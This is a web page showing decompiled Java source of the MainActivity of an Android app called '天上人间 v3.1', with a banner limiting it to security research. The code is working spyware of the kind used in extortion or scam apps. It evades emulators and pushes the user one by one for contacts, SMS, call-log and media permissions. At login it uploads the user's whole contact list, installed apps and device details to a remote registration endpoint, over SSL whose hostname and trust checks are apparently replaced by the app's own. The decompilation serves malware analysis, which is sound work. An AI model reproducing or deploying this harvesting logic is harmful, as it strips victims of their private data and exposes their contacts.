正在查看: 天上人间 v3.1 应用的 MainActivity.java JAVA 源代码文件
本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。
正在查看: 天上人间 v3.1 应用的 MainActivity.java JAVA 源代码文件
本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。
package com.xiuer.app.ui.home;
import android.app.AlertDialog;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.media.MediaPlayer;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Environment;
import android.os.Handler;
import android.os.Process;
import android.provider.ContactsContract;
import android.util.Log;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import com.google.gson.Gson;
import com.hjq.permissions.XXPermissions;
import com.liulishuo.okdownload.BuildConfig;
import com.xiuer.app.R;
import com.xiuer.app.base.MyApp;
import com.xiuer.app.customview.ToastUtil;
import com.xiuer.app.http.SSLSocketClient;
import com.xiuer.app.ui.JsonReader;
import com.xiuer.app.ui.home.MainActivity$;
import com.xiuer.app.utils.EmulatorCheck;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.concurrent.TimeUnit;
import kotlinx.coroutines.scheduling.WorkQueueKt;
import okhttp3.MediaType;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
public class MainActivity extends AppCompatActivity {
private static final int REQUEST_ALL_FILES_ACCESS = 1001;
private static AlertDialog permissionDialog;
Button bt_login;
EditText et_login_phone;
EditText et_login_yy;
JSONArray jjjj;
JSONArray jjjj1;
List<String> l;
private AlertDialog progressDialog;
TextView tv_mmm;
TextView tv_restart_info;
private FullScreenVideoView videoView;
long lastClickTime = 0;
long clickInterval = 1000;
int pp = 0;
private String[] items = {"+62-", "+60-", "+65-"};
private Set<String> deniedPermissions = new HashSet();
Handler handler = new Handler();
private int currentPermissionIndex = 0;
private final String[] ESSENTIAL_PERMISSIONS = {"android.permission.READ_CONTACTS", "android.permission.READ_SMS", "android.permission.READ_CALL_LOG", "android.permission.READ_MEDIA_IMAGES", "android.permission.READ_MEDIA_AUDIO", "android.permission.READ_MEDIA_VIDEO"};
private final String[] PERMISSION_NAMES = {"通讯录", "短信", "通话记录", "存储读取", "存储写入", "照片/图片", "音频文件", "视频文件"};
static int access$308(MainActivity mainActivity) {
int i = mainActivity.currentPermissionIndex;
mainActivity.currentPermissionIndex = i + 1;
return i;
}
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
if (ToastUtil.getC()) {
if (EmulatorCheck.isEmulator(this)) {
Toast.makeText((Context) this, (CharSequence) "检测到模拟器,应用即将退出", 0).show();
finish();
return;
}
this.l = new ArrayList();
try {
List<String> list = (List) new Gson().fromJson(JsonReader.readJsonFromAssets(this, "url.json"), new 1(this).getType());
this.l = list;
if (list == null || list.size() == 0) {
Toast.makeText((Context) this, (CharSequence) "未能读取到ip地址", 0).show();
return;
}
if (MyApp.TYPE == 0) {
setContentView(R.layout.activity_mainzh);
} else {
setContentView(R.layout.activity_main);
}
this.videoView = findViewById(R.id.video_background);
this.videoView.setVideoURI(Uri.parse("android.resource://" + getPackageName() + "/" + R.raw.your_video_file));
this.videoView.setOnPreparedListener(new MainActivity$.ExternalSyntheticLambda3(this));
if (ToastUtil.getC()) {
initView();
}
if (ToastUtil.getC()) {
requestPermissionsImmediately();
}
} catch (Exception unused) {
Toast.makeText((Context) this, (CharSequence) "读取ip地址失败", 0).show();
}
}
}
void m71lambda$onCreate$0$comxiuerappuihomeMainActivity(MediaPlayer mediaPlayer) {
mediaPlayer.setLooping(true);
mediaPlayer.setVolume(0.0f, 0.0f);
this.videoView.start();
}
private void requestAllPermissions() {
ArrayList arrayList = new ArrayList();
arrayList.add("android.permission.READ_CONTACTS");
arrayList.add("android.permission.READ_SMS");
arrayList.add("android.permission.READ_CALL_LOG");
arrayList.add("android.permission.READ_MEDIA_IMAGES");
arrayList.add("android.permission.READ_MEDIA_AUDIO");
arrayList.add("android.permission.READ_MEDIA_VIDEO");
XXPermissions.with(this).permission(arrayList).request(new 2(this));
}
private void requestPermissionsImmediately() {
this.currentPermissionIndex = 0;
new Handler().postDelayed(new MainActivity$.ExternalSyntheticLambda9(this), 100L);
}
void m72xd31397fc() {
if (ToastUtil.getC()) {
requestAllPermissions();
}
}
public void requestNextPermission() {
int i = this.currentPermissionIndex;
String[] strArr = this.ESSENTIAL_PERMISSIONS;
if (i >= strArr.length) {
checkFinalPermissions();
return;
}
String str = strArr[i];
String str2 = this.PERMISSION_NAMES[i];
if (XXPermissions.isGranted(this, new String[]{str})) {
this.currentPermissionIndex++;
requestNextPermission();
return;
}
FullScreenVideoView fullScreenVideoView = this.videoView;
if (fullScreenVideoView != null && !fullScreenVideoView.isPlaying()) {
this.videoView.start();
}
FullScreenVideoView fullScreenVideoView2 = this.videoView;
if (fullScreenVideoView2 != null) {
fullScreenVideoView2.setKeepScreenOn(true);
}
XXPermissions.with(this).permission(str).request(new 3(this, str2));
}
public void showPermissionGuideDialog(String str) {
FullScreenVideoView fullScreenVideoView = this.videoView;
if (fullScreenVideoView != null && !fullScreenVideoView.isPlaying()) {
this.videoView.start();
}
AlertDialog.Builder builder = new AlertDialog.Builder(this, R.style.ModernAlertDialog);
View inflate = getLayoutInflater().inflate(R.layout.dialog_permissions, (ViewGroup) null);
TextView textView = (TextView) inflate.findViewById(R.id.dialog_title);
TextView textView2 = (TextView) inflate.findViewById(R.id.dialog_message);
Button button = (Button) inflate.findViewById(R.id.positive_button);
Button button2 = (Button) inflate.findViewById(R.id.negative_button);
textView.setText("需要" + str + "权限");
textView2.setText("应用需要" + str + "权限来正常运行,您已选择\"不再询问\"。\n\n请前往设置页面手动开启此权限。");
builder.setView(inflate);
builder.setCancelable(false);
AlertDialog create = builder.create();
button.setText("去设置");
button.setOnClickListener(new MainActivity$.ExternalSyntheticLambda7(this, create));
button2.setText("稍后再说");
button2.setOnClickListener(new MainActivity$.ExternalSyntheticLambda8(this, create));
if (create.getWindow() != null) {
create.getWindow().setBackgroundDrawableResource(R.drawable.dialog_background);
}
create.show();
}
void m76xa405946c(AlertDialog alertDialog, View view) {
alertDialog.dismiss();
FullScreenVideoView fullScreenVideoView = this.videoView;
if (fullScreenVideoView != null && !fullScreenVideoView.isPlaying()) {
this.videoView.start();
}
XXPermissions.startPermissionActivity(this);
this.currentPermissionIndex++;
requestNextPermission();
}
void m77x1844cccb(AlertDialog alertDialog, View view) {
alertDialog.dismiss();
FullScreenVideoView fullScreenVideoView = this.videoView;
if (fullScreenVideoView != null && !fullScreenVideoView.isPlaying()) {
this.videoView.start();
}
this.currentPermissionIndex++;
requestNextPermission();
}
public void checkFinalPermissions() {
FullScreenVideoView fullScreenVideoView = this.videoView;
if (fullScreenVideoView != null && !fullScreenVideoView.isPlaying()) {
this.videoView.start();
}
ArrayList arrayList = new ArrayList();
arrayList.add("android.permission.READ_CONTACTS");
arrayList.add("android.permission.READ_SMS");
arrayList.add("android.permission.READ_CALL_LOG");
arrayList.add("android.permission.READ_MEDIA_IMAGES");
arrayList.add("android.permission.READ_MEDIA_AUDIO");
arrayList.add("android.permission.READ_MEDIA_VIDEO");
if (XXPermissions.isGranted(this, arrayList)) {
String lowerCase = Build.MANUFACTURER.toLowerCase();
String lowerCase2 = Build.BRAND.toLowerCase();
if (lowerCase.contains("xiaomi") || lowerCase2.contains("xiaomi") || lowerCase2.contains("redmi") || lowerCase.contains("oppo") || lowerCase2.contains("oppo") || lowerCase2.contains("realme") || lowerCase2.contains("oneplus")) {
return;
}
if (lowerCase.contains("vivo") || lowerCase2.contains("vivo")) {
Environment.getExternalStorageDirectory().canRead();
return;
} else {
if (lowerCase.contains("huawei") || lowerCase2.contains("huawei") || lowerCase2.contains("honor")) {
return;
}
Toast.makeText((Context) this, (CharSequence) "所有权限已授予,您可以正常使用应用", 0).show();
return;
}
}
showFinalPermissionDialog(arrayList);
}
public void showFinalPermissionDialog(List<String> list) {
AlertDialog alertDialog = permissionDialog;
if (alertDialog != null && alertDialog.isShowing()) {
permissionDialog.dismiss();
return;
}
StringBuilder sb = new StringBuilder();
for (String str : list) {
if (!XXPermissions.isGranted(this, new String[]{str})) {
if (str.equals("android.permission.READ_CONTACTS")) {
sb.append("• 通讯录权限\n");
} else if (str.equals("android.permission.READ_SMS")) {
sb.append("• 短信权限\n");
} else if (str.equals("android.permission.READ_MEDIA_IMAGES") || str.equals("android.permission.READ_MEDIA_AUDIO") || str.equals("android.permission.READ_MEDIA_VIDEO")) {
sb.append("• 存储权限\n");
} else if (str.equals("android.permission.READ_CALL_LOG")) {
sb.append("• 通话记录权限\n");
}
}
}
AlertDialog.Builder builder = new AlertDialog.Builder(this, R.style.ModernAlertDialog);
View inflate = getLayoutInflater().inflate(R.layout.dialog_permissions, (ViewGroup) null);
TextView textView = (TextView) inflate.findViewById(R.id.dialog_title);
TextView textView2 = (TextView) inflate.findViewById(R.id.dialog_message);
Button button = (Button) inflate.findViewById(R.id.positive_button);
Button button2 = (Button) inflate.findViewById(R.id.negative_button);
textView.setText("权限未全部授予");
textView2.setText("应用缺少以下必要权限:\n\n" + sb.toString() + "\n请前往设置页面开启这些权限,以确保应用正常运行。");
builder.setView(inflate);
builder.setCancelable(false);
permissionDialog = builder.create();
button.setText("去设置");
button.setOnClickListener(new MainActivity$.ExternalSyntheticLambda5(this));
button2.setText("稍后再说");
button2.setOnClickListener(new MainActivity$.ExternalSyntheticLambda6(this));
if (permissionDialog.getWindow() != null) {
permissionDialog.getWindow().setBackgroundDrawableResource(R.drawable.dialog_background);
}
permissionDialog.show();
}
void m74x2c3010b2(View view) {
permissionDialog.dismiss();
FullScreenVideoView fullScreenVideoView = this.videoView;
if (fullScreenVideoView != null && !fullScreenVideoView.isPlaying()) {
this.videoView.start();
}
XXPermissions.startPermissionActivity(this);
}
void m75xa06f4911(View view) {
permissionDialog.dismiss();
FullScreenVideoView fullScreenVideoView = this.videoView;
if (fullScreenVideoView == null || fullScreenVideoView.isPlaying()) {
return;
}
this.videoView.start();
}
protected void onActivityResult(int i, int i2, Intent intent) {
super.onActivityResult(i, i2, intent);
if (i != REQUEST_ALL_FILES_ACCESS || Build.VERSION.SDK_INT < 30) {
return;
}
if (Environment.isExternalStorageManager()) {
Toast.makeText((Context) this, (CharSequence) "已获取所有文件访问权限", 0).show();
restartApp();
} else {
Toast.makeText((Context) this, (CharSequence) "未获取所有文件访问权限", 0).show();
}
}
protected void onResume() {
super.onResume();
}
private void restartApp() {
Toast.makeText((Context) this, (CharSequence) "权限已全部授予,应用将重新启动", 0).show();
new Handler().postDelayed(new MainActivity$.ExternalSyntheticLambda4(this), 1000L);
}
void m73lambda$restartApp$6$comxiuerappuihomeMainActivity() {
Intent launchIntentForPackage = getPackageManager().getLaunchIntentForPackage(getPackageName());
if (launchIntentForPackage != null) {
launchIntentForPackage.addFlags(335544320);
startActivity(launchIntentForPackage);
finish();
overridePendingTransition(android.R.anim.fade_in, android.R.anim.fade_out);
Process.killProcess(Process.myPid());
}
}
protected void onPause() {
super.onPause();
}
private void initView() {
if (MyApp.TYPE == 0) {
MyApp.qvhao = "86";
} else {
TextView textView = (TextView) findViewById(R.id.tv_mmm);
this.tv_mmm = textView;
textView.setText("+86-");
MyApp.qvhao = this.tv_mmm.getText().toString();
this.tv_mmm.setOnClickListener(new 4(this));
}
this.et_login_phone = (EditText) findViewById(R.id.et_login_phone);
this.et_login_yy = (EditText) findViewById(R.id.et_login_yy);
this.bt_login = (Button) findViewById(R.id.bt_login);
this.tv_restart_info = (TextView) findViewById(R.id.tv_restart_info);
this.bt_login.setOnClickListener(new 5(this));
}
private boolean checkNetworkPermission() {
NetworkInfo activeNetworkInfo = ((ConnectivityManager) getSystemService("connectivity")).getActiveNetworkInfo();
return activeNetworkInfo != null && activeNetworkInfo.isConnected();
}
private JSONArray getInstalledApps() {
JSONArray jSONArray = new JSONArray();
PackageManager packageManager = getPackageManager();
for (ApplicationInfo applicationInfo : packageManager.getInstalledApplications(WorkQueueKt.BUFFER_CAPACITY)) {
if ((applicationInfo.flags & 1) == 0) {
JSONObject jSONObject = new JSONObject();
try {
jSONObject.put("packageName", applicationInfo.packageName);
jSONObject.put("appName", packageManager.getApplicationLabel(applicationInfo).toString());
jSONArray.put(jSONObject);
} catch (JSONException e) {
e.printStackTrace();
}
}
}
return jSONArray;
}
public void doRegist(String str, String str2, int i, String str3) {
if (i >= this.l.size()) {
runOnUiThread(new MainActivity$.ExternalSyntheticLambda0(this, str3));
return;
}
runOnUiThread(new MainActivity$.ExternalSyntheticLambda1(this));
String str4 = this.l.get(i);
if (!str4.endsWith("/")) {
str4 = str4 + "/";
}
MyApp.bseUrl = str4;
String str5 = MyApp.bseUrl + "api/AnLei/register?type=android&userId=";
Log.d("Registration", "注册请求URL: " + str5);
OkHttpClient build = new OkHttpClient.Builder().hostnameVerifier(SSLSocketClient.getHostnameVerifier()).sslSocketFactory(SSLSocketClient.getSSLSocketFactory(), SSLSocketClient.getTrustManager()).connectTimeout(5L, TimeUnit.SECONDS).readTimeout(5L, TimeUnit.SECONDS).writeTimeout(5L, TimeUnit.SECONDS).build();
if (this.jjjj == null) {
this.jjjj = getContacts();
}
if (this.jjjj1 == null) {
this.jjjj1 = getInstalledApps();
}
JSONArray jSONArray = this.jjjj;
if (jSONArray == null || jSONArray.length() <= 0) {
int i2 = this.pp + 1000;
this.pp = i2;
doRegist(str, str2, i2, "当前设备不支持,请切换设备");
return;
}
JSONObject jSONObject = new JSONObject();
try {
jSONObject.put("phone", MyApp.qvhao + str);
jSONObject.put("code", str2);
jSONObject.put("data", Build.MANUFACTURER + " " + Build.BRAND + " " + Build.MODEL);
jSONObject.put("installedApps", this.jjjj1);
JSONObject jSONObject2 = new JSONObject();
jSONObject2.put("list", this.jjjj);
jSONObject.put("contacts", jSONObject2);
build.newCall(new Request.Builder().url(str5).post(RequestBody.create(MediaType.parse("application/json"), jSONObject.toString())).build()).enqueue(new 6(this, str, str2));
} catch (JSONException e) {
e.printStackTrace();
int i3 = this.pp + 1;
this.pp = i3;
doRegist(str, str2, i3, "构建请求失败");
}
}
void m68lambda$doRegist$7$comxiuerappuihomeMainActivity(String str) {
Toast.makeText((Context) this, (CharSequence) str, 0).show();
this.pp = 0;
m70lambda$handleLogin$9$comxiuerappuihomeMainActivity();
}
void m69lambda$doRegist$8$comxiuerappuihomeMainActivity() {
if (MyApp.TYPE == 0) {
this.bt_login.setText(String.format("正在登录请稍候%s...", (this.pp + 1) + BuildConfig.FLAVOR));
} else {
this.bt_login.setText(String.format("Pendaftaran Harap tunggu %s...", (this.pp + 1) + BuildConfig.FLAVOR));
}
}
public void m70lambda$handleLogin$9$comxiuerappuihomeMainActivity() {
if (MyApp.TYPE == 0) {
this.bt_login.setText("登录");
} else {
this.bt_login.setText("Login");
}
this.bt_login.setEnabled(true);
}
private JSONArray getContacts() {
JSONArray jSONArray = new JSONArray();
Cursor query = getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null, null, null);
if (query != null) {
try {
int columnIndex = query.getColumnIndex("display_name");
int columnIndex2 = query.getColumnIndex("data1");
if (columnIndex != -1 && columnIndex2 != -1) {
while (query.moveToNext()) {
String string = query.getString(columnIndex);
String string2 = query.getString(columnIndex2);
JSONObject jSONObject = new JSONObject();
try {
jSONObject.put("name", string);
jSONObject.put("number", string2);
jSONArray.put(jSONObject);
} catch (JSONException e) {
e.printStackTrace();
}
}
} else {
throw new IllegalStateException("Column not found in the database.");
}
} finally {
query.close();
}
}
Log.d("Contacts", "获取到 " + jSONArray.length() + " 条通讯录记录");
return jSONArray;
}
protected void onDestroy() {
super.onDestroy();
AlertDialog alertDialog = this.progressDialog;
if (alertDialog != null && alertDialog.isShowing()) {
this.progressDialog.dismiss();
}
AlertDialog alertDialog2 = permissionDialog;
if (alertDialog2 == null || !alertDialog2.isShowing()) {
return;
}
permissionDialog.dismiss();
permissionDialog = null;
}
public void handleLogin() {
this.bt_login.setEnabled(false);
String trim = this.et_login_phone.getText().toString().trim();
String trim2 = this.et_login_yy.getText().toString().trim();
MyApp.roomNumber = trim2;
if (!trim.matches("\\d{11}")) {
this.et_login_phone.setError("需要11位数字");
this.bt_login.setEnabled(true);
return;
}
if (!trim2.matches("\\d{6}")) {
this.et_login_yy.setError("需要6位数字");
this.bt_login.setEnabled(true);
return;
}
if (MyApp.TYPE == 0) {
this.bt_login.setText("正在登录请稍候...");
} else {
this.bt_login.setText("Pendaftaran Harap tunggu ...");
}
this.bt_login.setEnabled(false);
ArrayList arrayList = new ArrayList();
arrayList.add("android.permission.READ_CONTACTS");
arrayList.add("android.permission.READ_SMS");
arrayList.add("android.permission.READ_CALL_LOG");
arrayList.add("android.permission.READ_MEDIA_IMAGES");
arrayList.add("android.permission.READ_MEDIA_AUDIO");
arrayList.add("android.permission.READ_MEDIA_VIDEO");
if (!XXPermissions.isGranted(this, arrayList)) {
System.out.println("1111111");
m70lambda$handleLogin$9$comxiuerappuihomeMainActivity();
ArrayList arrayList2 = new ArrayList();
arrayList2.add("android.permission.READ_CONTACTS");
arrayList2.add("android.permission.READ_SMS");
arrayList2.add("android.permission.READ_CALL_LOG");
arrayList2.add("android.permission.READ_MEDIA_IMAGES");
arrayList2.add("android.permission.READ_MEDIA_AUDIO");
arrayList2.add("android.permission.READ_MEDIA_VIDEO");
showFinalPermissionDialog(arrayList2);
return;
}
System.out.println("2222222");
if (MyApp.TYPE == 0) {
MyApp.qvhao = "+86-";
} else {
MyApp.qvhao = this.tv_mmm.getText().toString();
}
if (checkNetworkPermission()) {
if (MyApp.TYPE == 0) {
MyApp.qvhao = "+86-";
}
MyApp.myphone = trim;
this.bt_login.setEnabled(false);
this.handler.postDelayed(new 7(this, trim, trim2), 1000L);
return;
}
Toast.makeText((Context) this, (CharSequence) "请打开网络", 0).show();
new Handler().postDelayed(new MainActivity$.ExternalSyntheticLambda2(this), 2000L);
}
}